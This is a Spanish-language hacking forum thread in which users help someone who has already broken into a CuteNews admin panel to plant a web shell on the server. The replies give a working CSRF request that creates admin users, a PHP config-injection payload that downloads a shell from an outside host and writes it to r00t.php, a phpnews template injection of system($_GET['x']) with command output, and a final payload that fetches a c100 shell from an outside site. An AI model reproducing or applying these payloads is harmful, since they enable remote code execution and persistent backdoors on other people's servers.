Hola buenas ya he podido entrar al admin del cutenews usando dos exploit, uno que me buscar el nick del admin y otro me mostrara el hash en md5 y bueno pude entrar pero ahora quiero tratar de ir por mas pero no se me ocurre como poder escalar mas privilegios, quiero de alguna manera injectar una shell c99 o algo para poder tener un poco mas de control sobre el servidor, y hay esta la pregunta...
¿Se puede escalar mas privilegios por medio de Cutenew o bien injectar una shell?
lo mejor es inyectar 1 shell...
busca en el panel del admin alguna opcion para subir archivos al servidor, como una imagen, documento...
salu2
es posible subir una imagen pero ahora se vien la pregunta de qe archivo hace un include local.
no hay una manera "por default" de escalar privilegios en cutenews.. para encontrar alguna manera tendrias que revisar el codigo fuente por vulnerabilidades.
Cita de: sirdarckcat en 24 Mayo 2009, 06:15 AM
no hay una manera "por default" de escalar privilegios en cutenews.. para encontrar alguna manera tendrias que revisar el codigo fuente por vulnerabilidades.
Yo decidí hace un tiempo revisar el código fuente de ese sistema y si tiene varias fallas, mas de 5 si no me falla mi memoria de elefante php.
No recuerdo cuales eran pero si pretendes explotar el que está en la sección de noticias ( http://www.elhacker.net/notis/ ) no podrás porque eliminaron casi todos los archivos donde podías infiltrarte.
Recuerdo si que tenía csrf por todos lados y podías crear y borrar usuarios y hacerlos admin.
Si no me equivoco los usuarios eran manejados en archivos de texto y no en bases de datos MySQL.
Mañana lo bajaré otraves para hecharle una rehojeada.
Edito -->
Citarhttp://127.0.0.1/cutenews/index.php
POST /cutenews/index.php HTTP/1.1
Host: 127.0.0.1
User-Agent: Mozilla/5.0 Gecko/2009042316 Firefox/3.0.10 (.NET CLR 3.5.30729)
Accept: text/html,application/xhtml+xml,application/xml;q=0.9,*/*;q=0.8
Accept-Language: es-es,es;q=0.8,en-us;q=0.5,en;q=0.3
Accept-Encoding: gzip,deflate
Accept-Charset: ISO-8859-1,utf-8;q=0.7,*;q=0.7
Keep-Alive: 300
Connection: keep-alive
Referer: http://127.0.0.1/cutenews/index.php?mod=editusers&action=list
Cookie: lastusername=whk; username=whk; md5_password=xxx;
Content-Type: application/x-www-form-urlencoded
Content-Length: 128
regusername=zkizzik®password=_123456®nickname=zkizzik®email=zkizzik%40gmail.com®level=1&action=adduser&mod=editusers
Agregué un user de prueba como admin y no hay token ni referer de verificación, ahi ya tienes un csrf y puedes crear usuarios admin si es que pillas al admin original y haces que vea una web tuya donde se le redireccionará.
Si mi memoria de elefante php no me falla recuerdo que la primera ves que vi este sistema pude ver que las peticiones post podían procesarse como si fueran get al igual que cpanel asi que puedes causar un csrf desde una imagen en un foro, etc.
Edito2 -->
Si se puede:
http://127.0.0.1/cutenews/index.php?regusername=zkizzik®password=_123456®nickname=zkizzik®email=zkizzik%40gmail.com®level=1&action=adduser&mod=editusers
CitarUser Added
The user zkizzik was successfully added as administrator
go back
El usuario y contraseña ya lo tengo tengo acceso al administrador pero lo que quiero es injectarle una shell, lamentablemente el host no acepta RFI y tampoco me permite leer los archivos de la carpeta "data" por lo cual es imposible usar los otros conocidos exploit.
lo que quiero es injectar un shell.
aaaaaaaaa si, yo alguna vez (aun trato xD) intente de poner una shell, lo unico que encontre fue algo de un avatar pero lo "inserta" con html, o sea
<img src=$URL_AVATAR>
¬¬ y yo lo hablilite para poder subir una shell (bypasseando el filetype XD) y nada, no encontre forma, y si pones codigo php en una "entrada" no lo interpreta como tal ¬¬
Ahora mismo no traigo mi server de pruebas pero mañana intento hacer algo de SQL en las entradas a ver si encuentro algo ñ_ñ'
CitarAhora mismo no traigo mi server de pruebas pero mañana intento hacer algo de SQL en las entradas a ver si encuentro algo ñ_ñ'
No usa SQL, solamente guarda todos los datos en archivos de texto.
Ya pude inyectar una shell y no está tan dificil, solamente que debes regirte por un filtro htmlspecialchars sin token o sea que puedes escribir comillas simples y con eso crear tu código php de la siguiente forma.
Fijate en configuraciones:
http://127.0.0.1/cutenews/index.php?mod=options&action=syscon&rand=xxx
(http://img.drawcoders.net/index.php?acn=observar&idi=30bb7fd655_vuln.PNG)
Cuando guardas una configuración lo que haces es sobreescribir un archivo llamado data/config.php
<?PHP
//System Configurations (Auto Generated file)
$config_http_script_dir = "http://127.0.0.1/cutenews";
$config_skin = "default";
$config_date_adjust = "0";
...
El filtro dice así:
inc/options.mdu linea 755 a 760
fwrite($handler, "<?PHP \n\n//System Configurations (Auto Generated file)\n\n");
foreach($save_con as $name=>$value)
{
fwrite($handler, "\$config_$name = \"".htmlspecialchars($value)."\";\n\n");
}
fwrite($handler, "?>");
Como htmlspecialchars no tiene token ENT_QUOTES (http://cl.php.net/htmlspecialchars) significa que podemos insertar comillas simples pero si no podemos inyectar con comillas dobles para escapar de la variable $config_http_script_dir como lo hacemos?:
(http://img.drawcoders.net/index.php?acn=observar&idi=bdb0e62632_vuln2.PNG)
Fijate que en el input donde va el link del cutenews le puse al final el carácter "\" asi que tomará la comilla doble como parte de la misma variable y queda masomenos así:
(http://img.drawcoders.net/index.php?acn=observar&idi=c0a99ef6b2_vuln3.PNG)
Ahora que logramos escapar hay que cerrar la variable y comenzara a inyectar código:
Citar; echo 'test'; exit; /*
Fijate que este contenido queda acá:
Citar$config_skin = "default";
asi que nos encontramos con la comilla doble que cierra la primera variable y comenzamos a escribir en php pero primero cerramos con ";" y para que el código no quede corrupto y se quede sin hacer nada cerramos con "/*" y queda:
(http://img.drawcoders.net/index.php?acn=observar&idi=5b8dea2339_vulnx.PNG)
(http://img.drawcoders.net/index.php?acn=observar&idi=09b2c7022d_vuln4.PNG)
Ya sabemos que se ejecuta el código pero ojo que cuando lo hagas quedará corrupto pero las configuraciones por defecto de cutenews permiten que alcance a terminar de ejecutar nuestra inyeción asi que hay solo una oportunidad y si te fijas también no puedes ejecutar código y terminar con exit si es que no se debolvió algún buffer de stream en el php (debe ser por la misma configuración y ob_start() ) asi que en total nos queda masomenos así:
; echo 'stream'; $s = file_get_contents('http://www.web.com/shell.txt'); $f = fopen('r00t.php', 'x'); fwrite($f, $s); fclose($f); echo $s; exit; /*
Cuando lo hagas te va a dar el mismo error que la imagen anterior pero si vas a http://127.0.0.1/cutenews/r00t.php verás algo así como esto:
(http://img.drawcoders.net/index.php?acn=observar&idi=7bc7bd7ba8_pwned.PNG)
Lo agregué al recopilatorio de post
https://foro.elhacker.net/nivel_web/temas_mas_destacados_fallas_y_explotaciones_a_nivel_web_actualizado_25509-t244090.0.html
Y de pasada hize un video:
[youtube=525,450]http://www.youtube.com/watch?v=6tM6UP9J_hE[/youtube]
'_' :-o
Excelente :0
Estaba confundiendo el sistema, con el que estaba haciendo pruebas era con phpnews, no se por que los confundí :xD
sorry ._________. intentaré hacer lo mismo con este :-)
Ya, despues de varios intentos logre inyectar codigo php ñ_ñ' siguiendo el tutorial que has puesto WHK :D
bien, basicamente es lo mismo solo que mejor :xD
vamos a editar el templete, yo escogí el de news.php, o sea, donde se muestran las noticias xD
:http://localhost/phpnews/phpnews1.0/index.php?action=modtemp
esto nos muestra lo siguiente
<h1>
$subject
</h1>
<p>
$time by $username.
</p>
<p>
<strong>$titletext</strong>
</p>
<p>
$maintext | $comments | $sendtofriend
</p>
<hr /><br />
Si vemos el archivo
news_temp.php nos dirá todo
<?
print<<<EOT
<h1>
$subject
</h1>
<p>
$time by $username.
</p>
<p>
<strong>$titletext</strong>
</p>
<p>
$maintext | $comments | $sendtofriend
</p>
<hr /><br />
EOT;
?>
Cuando modificamos cualquier cosa desde el panel de administración lo refleja directamente en éste archivo ñ_ñ
Para finalizar, desde el panel de administración modificamos el template de modo que quede así:
<h1>
$subject
</h1>
<p>
$time by $username.
</p>
<p>
<strong>$titletext</strong>
</p>
<p>
$maintext | $comments | $sendtofriend
</p>
<hr /><br />
EOT;
system($_GET['x']);die();
Esto dará como resultado éste código en nuestro "news_temp.php"
<?
print<<<EOT
<h1>
$subject
</h1>
<p>
$time by $username.
</p>
<p>
<strong>$titletext</strong>
</p>
<p>
$maintext | $comments | $sendtofriend
</p>
<hr /><br />
EOT;
system($_GET['x']);die();
EOT;
?>
y tenemos magia x)
Cita de: http://localhost/ipm/phpnews/phpnews1.0/news.php?x=dir<script type="text/javascript">
<!--
function sendtof(desktopURL)
{
desktop = window.open(desktopURL, "SendToFriend", "toolbar=no,location=no,status=no,menubar=no,scrollbars=no,width=400,height=275,resizable=no");
}
// -->
</script>
<a name="2"><!-- 2 --></a>
<h1>
Siguiente prueba ñ_ñ
</h1>
<p>
December 02, 2008, 10:55:16 AM by admin.
</p>
<p>
<strong>titulo</strong>
</p>
<p>
<a href="?action=fullnews&id=2">Full Story</a> | | <a href="javascript:sendtof('http://localhost/phpnews/phpnews1.0/news.phpsendtofriend.php?mid=2')">Send To Friend</a>
</p>
<hr /><br /> El volumen de la unidad G es AZIELITO
El n£mero de serie del volumen es: 476A-3939
Directorio de G:\Desarrollo\web\www\phpnews\phpnews1.0
19/11/2008 05:55 p.m. <DIR> .
19/11/2008 05:55 p.m. <DIR> ..
20/06/2003 07:44 p.m. 17,716 gpl.txt
16/07/2003 05:05 p.m. 2,100 headlines.php
11/07/2003 06:07 p.m. 118 headlines_temp.php
16/07/2003 05:05 p.m. 4,578 help.php
16/07/2003 05:10 p.m. 7,980 index.php
18/06/2003 11:33 p.m. 2,891 mysql.sql
16/07/2003 05:06 p.m. 10,793 news.php
11/07/2003 02:22 p.m. 4,058 phpnews_package.css
16/07/2003 04:12 p.m. 8,857 readme.html
16/07/2003 04:24 p.m. 20,679 se.lng
16/07/2003 05:06 p.m. 5,247 sendtofriend.php
11/07/2003 06:07 p.m. 1,203 sendtofriend_temp.php
11/07/2003 06:07 p.m. 602 sent_temp.php
20/11/2008 09:13 a.m. 103 settings.php
19/11/2008 05:55 p.m. <DIR> smilies
08/04/2003 10:50 a.m. 837 bullet.gif
11/07/2003 06:07 p.m. 781 comment_temp.php
11/07/2003 06:07 p.m. 381 comments_temp.php
16/07/2003 04:24 p.m. 22,127 de.lng
16/07/2003 04:24 p.m. 20,272 en.lng
11/05/2003 04:29 p.m. 358 fullnews_temp.php
19/11/2008 05:55 p.m. 62,254 admin.php
16/07/2003 05:06 p.m. 19,086 install.php.bak
02/12/2008 11:28 a.m. 27 es.php
02/12/2008 11:35 a.m. 4,798 auth.php
26/05/2009 10:51 a.m. 1,344 phperror.log
26/05/2009 11:02 a.m. 391 news_temp.php
26 archivos 219,581 bytes
3 dirs 21,014,544,384 bytes libres
ñ_ñ
Gracias a WHK por el tuto anterior x)
Tengo una duda como se llama esa herramienta que estas usando para editar el input de ese form ?... gracias
Se llama FireBug
https://addons.mozilla.org/es-ES/firefox/addon/1843
hay un problema, cuando tu dejas
Full URL to CuteNews Directory http://localhost/cutenews\
el archivo config.php queda asi
$config_http_script_dir = "http://localhost/cutenews\\";
por ende no toma :S
hay otra forma?
Me despondo a mi mismo, hay una forma mas fácil sin dejar rastros visibles.
editen el templete default cualquiera, ejemplo
Active News... al final agregan
HTML;
phpinfo();
................. inyectando la shell seria
HTML;
$s = file_get_contents('http://blacknite.eu/php_shells/c100.txt');
$f = fopen('r00t.php', 'x');
fwrite($f, $s); fclose($f);
Saludos.